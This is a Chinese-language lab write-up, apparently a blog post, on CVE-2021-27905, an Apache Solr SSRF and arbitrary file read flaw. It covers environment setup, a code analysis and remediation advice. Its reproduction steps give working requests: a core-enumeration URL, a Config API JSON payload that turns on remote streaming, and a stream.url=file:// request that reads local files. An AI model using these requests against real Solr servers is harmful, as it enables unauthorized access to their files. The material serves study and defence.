CVE-2021-27905 Apache Solr SSRF漏洞

预备知识
1. 漏洞信息

漏洞编号:CVE-2021-27905  
漏洞名称:Apache Solr SSRF漏洞 

漏洞描述:Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。该漏洞是由于Solr默认安装未开启身份验证,攻击者可未授权通过Config API修改配置,导致SSRF和任意文件读取。

影响版本:Apache Solr <= 8.8.1

2. ApacheSolr相关实验

<CVE-2019-0192 Apache Solr远程反序列化代码执行漏洞>

实验目的
通过实验学习Apache Solr SSRF及任意文件读取漏洞的产生原因和利用方式。

实验环境
Attack:Kali Linux
Target:Windows 10、IP:10.1.1.200
实验步骤一
任务描述:漏洞环境:源码搭建及创建core。

1. target机器下载漏洞环境并解压,进入bin目录,执行solr start -p 8983


2. 浏览器访问http://ip:8983即可看到solr的主界面:


3. 刚下载的环境是没有core的,点击左侧的Core Admin来创建一个core:


4. 直接点击Add Core发现报错:

5. 但是此时Solr已经在/server/solr目录下创建了名为new_core的文件夹,需要把/server/solr/configsets/_default文件夹下的conf目录整个拷贝到new_core文件夹下:


6. 复制完成后再点击Add Core即可创建成功:


实验步骤二
任务描述:漏洞代码块分析。


1.  漏洞代码块 

https://github.com/apache/solr/blob/main/solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java:

这里获取stream.url参数并调用了URLStream。
2.  跟进URLStream:

发现其getStream()方法与url建立了连接,导致SSRF漏洞。
3. 同样在SolrRequestParsers.java文件中:

和SSRF代码类似,这里调用的是ContentStreamBase.FileStream。

4. 跟进FileStream:


没有任何过滤,所以可以读取任意文件。

实验步骤三
任务描述:漏洞复现,获取core_name,发送请求开启远程读取文件流,任意文件读取。

1.  Attack机器通过浏览器访问http://ip:8983/solr/admin/cores?indexInfo=false&wt=json,可以获取目标机器core的名字:

2.  利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关。
访问http://ip:8983/solr/core_name/config,使用burp发送以下POST请求包:

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

注意修改MIME类型为application/json
可以测试是否存在漏洞,响应码为200,说明远程读取流文件配置开启成功。

3.  开启后寻找某个路径进行文件读取,在 https://github.com/apache/solr/blob/7ada4032180b516548fc0263f42da6a7a917f92b/solr/core/src/resources/ImplicitPlugins.json 中提供了很多请求路径。

4.  其中/debug/dump主要是输出一些请求头和响应头信息,可以针对该路径进行利用:

POST/solr/core_name/debug/dump

stream.url=file://想要读取的文件名称

例如读取hosts文件:C:\Windows\System32\drivers\etc\hosts

stream.url参数触发SSRF漏洞,Java中可以利用file协议实现任意文件读取。

实验步骤四
任务描述:漏洞检测POC测试。


1.  Attack机器下载漏洞检测POC并解压:

2.  执行漏洞检测POC并输入待检测的URL:

3.  输入想要读取的文件名称:

漏洞修复
将Solr端口仅对内网开放,并配置访问策略:
1、 关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入:
set SOLR_OPTS=%SOLR_OPTS%-Ddisable.configEdit=true
2、 关闭远程读取文件流,修改core_name/conf/configoverlay.json中的远程读取文件流的配置修改为false:

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jack-yyj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值